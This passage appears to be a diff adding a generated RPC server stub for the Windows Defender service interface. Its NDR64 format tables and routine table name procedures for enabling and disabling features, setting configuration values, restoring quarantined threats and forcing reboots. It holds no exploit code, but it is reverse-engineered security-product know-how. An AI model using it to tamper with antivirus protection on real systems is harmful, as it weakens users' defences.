_NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag80 + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x5, /* FC64_INT32 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag81 + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag81 + }, + { + /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */ + 0x91, /* FC64_EMBEDDED_COMPLEX */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag26 + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x7, /* FC64_INT64 */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + }, + { + /* struct _NDR64_SIMPLE_MEMBER_FORMAT */ + 0x93, /* FC64_END */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT32) 0 /* 0x0 */ + } + } +}; + +static const __midl_frag16_t __midl_frag16 = +{ +/* *Struct_144_t */ + 0x20, /* FC64_RP */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + &__midl_frag17 +}; + +static const __midl_frag13_t __midl_frag13 = +{ +/* Proc2_ServerMpQueryStatus */ + { + /* Proc2_ServerMpQueryStatus */ /* procedure Proc2_ServerMpQueryStatus */ + (NDR64_UINT32) 17432640 /* 0x10a0040 */, /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, HasExtensions */ + (NDR64_UINT32) 48 /* 0x30 */ , /* Stack size */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 5 /* 0x5 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag17, + { + /* arg_3 */ + 1, + 1, + 0, + 0, + 1, + 0, + 0, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* MustSize, MustFree, [out], SimpleRef */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* arg_4 */ /* parameter arg_4 */ + &__midl_frag2367, + { + /* arg_4 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 40 /* 0x28 */, /* Stack offset */ + } +}; + +static const __midl_frag8_t __midl_frag8 = +{ +/* Proc1_ServerMpDisableFeature */ + { + /* Proc1_ServerMpDisableFeature */ /* procedure Proc1_ServerMpDisableFeature */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 32 /* 0x20 */ , /* Stack size */ + (NDR64_UINT32) 8 /* 0x8 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 3 /* 0x3 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2367, + { + /* arg_2 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + } +}; + +static const __midl_frag2_t __midl_frag2 = +{ +/* Proc0_ServerMpEnableFeature */ + { + /* Proc0_ServerMpEnableFeature */ /* procedure Proc0_ServerMpEnableFeature */ + (NDR64_UINT32) 17301568 /* 0x1080040 */, /* explicit handle */ /* IsIntrepreted, HasReturn, HasExtensions */ + (NDR64_UINT32) 40 /* 0x28 */ , /* Stack size */ + (NDR64_UINT32) 16 /* 0x10 */, + (NDR64_UINT32) 40 /* 0x28 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 0 /* 0x0 */, + (NDR64_UINT16) 4 /* 0x4 */, + (NDR64_UINT16) 8 /* 0x8 */ + }, + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + { + /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */ + 0x72, /* FC64_BIND_PRIMITIVE */ + (NDR64_UINT8) 0 /* 0x0 */, + 0 /* 0x0 */, /* Stack offset */ + (NDR64_UINT8) 0 /* 0x0 */, + (NDR64_UINT8) 0 /* 0x0 */ + }, + (NDR64_UINT16) 0 /* 0x0 */ /* Notify index */ + }, + { + /* arg_1 */ /* parameter arg_1 */ + &__midl_frag2368, + { + /* arg_1 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 8 /* 0x8 */, /* Stack offset */ + }, + { + /* arg_2 */ /* parameter arg_2 */ + &__midl_frag2368, + { + /* arg_2 */ + 0, + 0, + 0, + 1, + 0, + 0, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [in], Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 16 /* 0x10 */, /* Stack offset */ + }, + { + /* arg_3 */ /* parameter arg_3 */ + &__midl_frag2367, + { + /* arg_3 */ + 0, + 0, + 0, + 0, + 1, + 0, + 1, + 0, + 1, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 1 + }, /* [out], Basetype, SimpleRef, UseCache */ + (NDR64_UINT16) 0 /* 0x0 */, + 24 /* 0x18 */, /* Stack offset */ + }, + { + /* long */ /* parameter long */ + &__midl_frag2368, + { + /* long */ + 0, + 0, + 0, + 0, + 1, + 1, + 1, + 1, + 0, + 0, + 0, + 0, + 0, + (NDR64_UINT16) 0 /* 0x0 */, + 0 + }, /* [out], IsReturn, Basetype, ByValue */ + (NDR64_UINT16) 0 /* 0x0 */, + 32 /* 0x20 */, /* Stack offset */ + } +}; + +static const __midl_frag1_t __midl_frag1 = +(NDR64_UINT32) 0 /* 0x0 */; +#ifdef __cplusplus +} +#endif + + +#include "poppack.h" + + +static const FormatInfoRef DefaultIfName_Ndr64ProcTable[] = + { + &__midl_frag2, + &__midl_frag8, + &__midl_frag13, + &__midl_frag30, + &__midl_frag42, + &__midl_frag48, + &__midl_frag160, + &__midl_frag179, + &__midl_frag186, + &__midl_frag204, + &__midl_frag199, + &__midl_frag204, + &__midl_frag210, + &__midl_frag216, + &__midl_frag223, + &__midl_frag261, + &__midl_frag268, + &__midl_frag276, + &__midl_frag283, + &__midl_frag294, + &__midl_frag300, + &__midl_frag305, + &__midl_frag322, + &__midl_frag350, + &__midl_frag337, + &__midl_frag357, + &__midl_frag350, + &__midl_frag357, + &__midl_frag414, + &__midl_frag564, + &__midl_frag376, + &__midl_frag383, + &__midl_frag391, + &__midl_frag399, + &__midl_frag407, + &__midl_frag414, + &__midl_frag564, + &__midl_frag426, + &__midl_frag434, + &__midl_frag443, + &__midl_frag449, + &__midl_frag455, + &__midl_frag461, + &__midl_frag468, + &__midl_frag474, + &__midl_frag482, + &__midl_frag499, + &__midl_frag513, + &__midl_frag521, + &__midl_frag528, + &__midl_frag535, + &__midl_frag542, + &__midl_frag548, + &__midl_frag556, + &__midl_frag564, + &__midl_frag570, + &__midl_frag589, + &__midl_frag600, + &__midl_frag609, + &__midl_frag618, + &__midl_frag874, + &__midl_frag633, + &__midl_frag649, + &__midl_frag661, + &__midl_frag682, + &__midl_frag689, + &__midl_frag874, + &__midl_frag855, + &__midl_frag710, + &__midl_frag718, + &__midl_frag874, + &__midl_frag730, + &__midl_frag862, + &__midl_frag874, + &__midl_frag751, + &__midl_frag756, + &__midl_frag874, + &__midl_frag770, + &__midl_frag869, + &__midl_frag781, + &__midl_frag790, + &__midl_frag874, + &__midl_frag808, + &__midl_frag808, + &__midl_frag813, + &__midl_frag817, + &__midl_frag828, + &__midl_frag835, + &__midl_frag842, + &__midl_frag874, + &__midl_frag855, + &__midl_frag862, + &__midl_frag869, + &__midl_frag874, + &__midl_frag880, + &__midl_frag936, + &__midl_frag969, + &__midl_frag949, + &__midl_frag958, + &__midl_frag969, + &__midl_frag975, + &__midl_frag980, + &__midl_frag985, + &__midl_frag1003, + &__midl_frag1012, + &__midl_frag1018, + &__midl_frag1032, + &__midl_frag1040, + &__midl_frag1061, + &__midl_frag1049, + &__midl_frag1055, + &__midl_frag1061, + &__midl_frag1065, + &__midl_frag1076, + &__midl_frag1082, + &__midl_frag1093, + &__midl_frag1122, + &__midl_frag1112, + &__midl_frag1122, + &__midl_frag1130, + &__midl_frag1139, + &__midl_frag1154, + &__midl_frag1154, + &__midl_frag1160, + &__midl_frag1173, + &__midl_frag1186, + &__midl_frag1198, + &__midl_frag1212, + &__midl_frag1221, + &__midl_frag1227, + &__midl_frag1238, + &__midl_frag1238, + &__midl_frag1242, + &__midl_frag1250, + &__midl_frag1267, + &__midl_frag1272, + &__midl_frag1292, + &__midl_frag1376, + &__midl_frag1306, + &__midl_frag1376, + &__midl_frag1376, + &__midl_frag1328, + &__midl_frag1376, + &__midl_frag1342, + &__midl_frag1358, + &__midl_frag1376, + &__midl_frag1380, + &__midl_frag1388, + &__midl_frag1404, + &__midl_frag1410, + &__midl_frag1421, + &__midl_frag1421, + &__midl_frag1427, + &__midl_frag1436, + &__midl_frag1442, + &__midl_frag1453, + &__midl_frag1468, + &__midl_frag1479, + &__midl_frag1489, + &__midl_frag1515, + &__midl_frag1530, + &__midl_frag1537, + &__midl_frag1553, + &__midl_frag1570, + &__midl_frag1583, + &__midl_frag1594, + &__midl_frag1610, + &__midl_frag1621, + &__midl_frag1632, + &__midl_frag1645, + &__midl_frag1652, + &__midl_frag1657, + &__midl_frag1673, + &__midl_frag1843, + &__midl_frag1690, + &__midl_frag1697, + &__midl_frag1702, + &__midl_frag1708, + &__midl_frag1725, + &__midl_frag1742, + &__midl_frag1761, + &__midl_frag1779, + &__midl_frag1787, + &__midl_frag1794, + &__midl_frag1799, + &__midl_frag1805, + &__midl_frag1810, + &__midl_frag1817, + &__midl_frag1825, + &__midl_frag1836, + &__midl_frag1843, + &__midl_frag1849, + &__midl_frag1859, + &__midl_frag1871, + &__midl_frag1912, + &__midl_frag1918, + &__midl_frag1925, + &__midl_frag1942, + &__midl_frag1942, + &__midl_frag1955, + &__midl_frag1965, + &__midl_frag1976, + &__midl_frag1983, + &__midl_frag2248, + &__midl_frag2291, + &__midl_frag2291, + &__midl_frag2008, + &__midl_frag2017, + &__midl_frag2035, + &__midl_frag2248, + &__midl_frag2066, + &__midl_frag2074, + &__midl_frag2087, + &__midl_frag2291, + &__midl_frag2109, + &__midl_frag2121, + &__midl_frag2152, + &__midl_frag2161, + &__midl_frag2168, + &__midl_frag2181, + &__midl_frag2185, + &__midl_frag2209, + &__midl_frag2217, + &__midl_frag2235, + &__midl_frag2248, + &__midl_frag2254, + &__midl_frag2265, + &__midl_frag2291, + &__midl_frag2297, + &__midl_frag2311, + &__midl_frag2316, + &__midl_frag2321, + &__midl_frag2338, + &__midl_frag2345, + &__midl_frag2351, + &__midl_frag2360 + }; + + +#ifdef __cplusplus +namespace { +#endif +static const MIDL_STUB_DESC DefaultIfName_StubDesc = + { + (void *)& DefaultIfName___RpcServerInterface, + MIDL_user_allocate, + MIDL_user_free, + 0, + RundownRoutines, + 0, + 0, + 0, + windefend__MIDL_TypeFormatString.Format, + 1, /* -error bounds_check flag */ + 0x60001, /* Ndr library version */ + 0, + 0x8010274, /* MIDL Version 8.1.628 */ + 0, + 0, + 0, /* notify & notify_flag routine table */ + 0x2000001, /* MIDL flag */ + 0, /* cs routines */ + (void *)& DefaultIfName_ServerInfo, /* proxy/server info */ + 0 + }; +#ifdef __cplusplus +} +#endif + +static const RPC_DISPATCH_FUNCTION DefaultIfName_NDR64__table[] = + { + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + NdrServerCallAll, + 0 + }; +static const RPC_DISPATCH_TABLE DefaultIfName_NDR64__v2_0_DispatchTable = + { + 236, + (RPC_DISPATCH_FUNCTION*)DefaultIfName_NDR64__table + }; + +static const MIDL_SYNTAX_INFO DefaultIfName_SyntaxInfo [ 2 ] = + { + { + {{0x8A885D04,0x1CEB,0x11C9,{0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60}},{2,0}}, + (RPC_DISPATCH_TABLE*)&DefaultIfName_v2_0_DispatchTable, + windefend__MIDL_ProcFormatString.Format, + DefaultIfName_FormatStringOffsetTable, + windefend__MIDL_TypeFormatString.Format, + 0, + 0, + 0 + } + ,{ + {{0x71710533,0xbeba,0x4937,{0x83,0x19,0xb5,0xdb,0xef,0x9c,0xcc,0x36}},{1,0}}, + (RPC_DISPATCH_TABLE*)&DefaultIfName_NDR64__v2_0_DispatchTable, + 0 , + (unsigned short *) DefaultIfName_Ndr64ProcTable, + 0, + 0, + 0, + 0 + } + }; + + +static const SERVER_ROUTINE DefaultIfName_ServerRoutineTable[] = + { + (SERVER_ROUTINE)Proc0_ServerMpEnableFeature, + (SERVER_ROUTINE)Proc1_ServerMpDisableFeature, + (SERVER_ROUTINE)Proc2_ServerMpQueryStatus, + (SERVER_ROUTINE)Proc3_ServerMpEventOpen, + (SERVER_ROUTINE)Proc4_ServerMpEventClose, + (SERVER_ROUTINE)Proc5_ServerMpEventQueryNotification, + (SERVER_ROUTINE)Proc6_ServerMpOnDemandStartScan, + (SERVER_ROUTINE)Proc7_ServerMpOnDemandQueryNotification, + (SERVER_ROUTINE)Proc8_ServerMpOnDemandQueryScanResult, + (SERVER_ROUTINE)Proc9_ServerMpOnDemandControlScan, + (SERVER_ROUTINE)Proc10_ServerMpOnDemandControlSystemScan, + (SERVER_ROUTINE)Proc11_ServerMpOnDemandPersistScan, + (SERVER_ROUTINE)Proc12_ServerMpOnDemandCloseScan, + (SERVER_ROUTINE)Proc13_ServerMpOnDemandThreatOpen, + (SERVER_ROUTINE)Proc14_ServerMpOnDemandThreatEnum, + (SERVER_ROUTINE)Proc15_ServerMpOnDemandThreatClose, + (SERVER_ROUTINE)Proc16_ServerMpScanOpenThreatHistory, + (SERVER_ROUTINE)Proc17_ServerMpScanEnumerateThreatHistory, + (SERVER_ROUTINE)Proc18_ServerMpScanEnumerateDetectionHistory, + (SERVER_ROUTINE)Proc19_ServerMpScanCloseThreatHistory, + (SERVER_ROUTINE)Proc20_ServerMpScanDeleteThreatHistory, + (SERVER_ROUTINE)Proc21_ServerMpRpcCleanOpen, + (SERVER_ROUTINE)Proc22_ServerMpRpcScanCleanOpen, + (SERVER_ROUTINE)Proc23_ServerMpRpcCleanStart, + (SERVER_ROUTINE)Proc24_ServerMpRpcCleanControl, + (SERVER_ROUTINE)Proc25_ServerMpRpcCleanThreatsNotification, + (SERVER_ROUTINE)Proc26_ServerMpRpcPrecheckStart, + (SERVER_ROUTINE)Proc27_ServerMpRpcPrecheckNotification, + (SERVER_ROUTINE)Proc28_ServerMpRpcCleanQuery, + (SERVER_ROUTINE)Proc29_ServerMpRpcCleanClose, + (SERVER_ROUTINE)Proc30_MpService__CMpMapsLatencyDataIterator__Clone, + (SERVER_ROUTINE)Proc31_MpService__CMpMapsLatencyDataIterator__Clone, + (SERVER_ROUTINE)Proc32_MpService__CMpMapsLatencyDataIterator__Clone, + (SERVER_ROUTINE)Proc33_MpService__CMpMapsLatencyDataIterator__Clone, + (SERVER_ROUTINE)Proc34_ServerMpQuarantineEnumOpen, + (SERVER_ROUTINE)Proc35_ServerMpQuarantineEnumerate, + (SERVER_ROUTINE)Proc36_ServerMpQuarantineEnumClose, + (SERVER_ROUTINE)Proc37_ServerMpQuarantineQueryInfo, + (SERVER_ROUTINE)Proc38_ServerMpQuarantineRestoreThreat, + (SERVER_ROUTINE)Proc39_ServerMpQuarantineDeleteThreat, + (SERVER_ROUTINE)Proc40_ServerMpStateEnumOpen, + (SERVER_ROUTINE)Proc41_ServerMpQueryEngineVersion, + (SERVER_ROUTINE)Proc42_ServerMpUpdateEngineSignature, + (SERVER_ROUTINE)Proc43_ServerMpRollbackEngineSignature, + (SERVER_ROUTINE)Proc44_ServerMpThreatStaticInfo, + (SERVER_ROUTINE)Proc45_ServerMpQuerySystemInfo, + (SERVER_ROUTINE)Proc46_ServerMpRpcConfigSetValue, + (SERVER_ROUTINE)Proc47_ServerMpRpcConfigDelValue, + (SERVER_ROUTINE)Proc48_ServerMpRpcElevationHandleOpen, + (SERVER_ROUTINE)Proc49_ServerMpRpcElevationHandleAttach, + (SERVER_ROUTINE)Proc50_ServerMpRpcElevationHandleClose, + (SERVER_ROUTINE)Proc51_ServerMpRpcElevateCleanHandle, + (SERVER_ROUTINE)Proc52_ServerMpRpcSignatureThreatOpen, + (SERVER_ROUTINE)Proc53_ServerMpRpcSignatureThreatEnum, + (SERVER_ROUTINE)Proc54_ServerMpRpcSignatureThreatClose, + (SERVER_ROUTINE)Proc55_ServerMpRpcGetSampleInfo, + (SERVER_ROUTINE)Proc56_ServerMpRpcQueryScansWithSamples, + (SERVER_ROUTINE)Proc57_ServerMpRpcDropScansWithSamples, + (SERVER_ROUTINE)Proc58_ServerMpRpcSpynetQueueCreate, + (SERVER_ROUTINE)Proc59_ServerMpRpcSpynetQueueQueryNotification, + (SERVER_ROUTINE)Proc60_ServerMpRpcSpynetQueueClose, + (SERVER_ROUTINE)Proc61_ServerMpRpcSpynetGenerateReport, + (SERVER_ROUTINE)Proc62_ServerMpRpcSenseGenerateReport, + (SERVER_ROUTINE)Proc63_ServerMpRpcSpynetOnResponse, + (SERVER_ROUTINE)Proc64_ServerMpRpcSpynetGetStartTime, + (SERVER_ROUTINE)Proc65_ServerMpRpcSpynetUpdateSpynetMetrics, + (SERVER_ROUTINE)Proc66_ServerMpRpcSpynetClose, + (SERVER_ROUTINE)Proc67_ServerMpRpcSigUpdServiceOpen, + (SERVER_ROUTINE)Proc68_ServerMpRpcSigUpdServiceQueryNotification, + (SERVER_ROUTINE)Proc69_ServerMpRpcSigUpdServiceSendProgressNotification, + (SERVER_ROUTINE)Proc70_ServerMpRpcSigUpdServiceClose, + (SERVER_ROUTINE)Proc71_ServerMpRpcSigUpdClientOpen, + (SERVER_ROUTINE)Proc72_ServerMpRpcSigUpdClientQueryNotification, + (SERVER_ROUTINE)Proc73_ServerMpRpcSigUpdClientClose, + (SERVER_ROUTINE)Proc74_ServerMpRpcSigUpdControl, + (SERVER_ROUTINE)Proc75_ServerMpRpcIdleNotificationOpen, + (SERVER_ROUTINE)Proc76_ServerMpRpcIdleNotificationClose, + (SERVER_ROUTINE)Proc77_ServerMpRpcNotifyIdle, + (SERVER_ROUTINE)Proc78_ServerMpRpcIdleCheckTaskCompletion, + (SERVER_ROUTINE)Proc79_ServerMpRpcThreatOpen, + (SERVER_ROUTINE)Proc80_ServerMpRpcThreatEnumerate, + (SERVER_ROUTINE)Proc81_ServerMpRpcThreatClose, + (SERVER_ROUTINE)Proc82_ServerMpRpcDbgThreatViewAction, + (SERVER_ROUTINE)Proc83_ServerMpRpcForcedReboot, + (SERVER_ROUTINE)Proc84_MpService__CMpMapsLatencyDataIterator__Clone, + 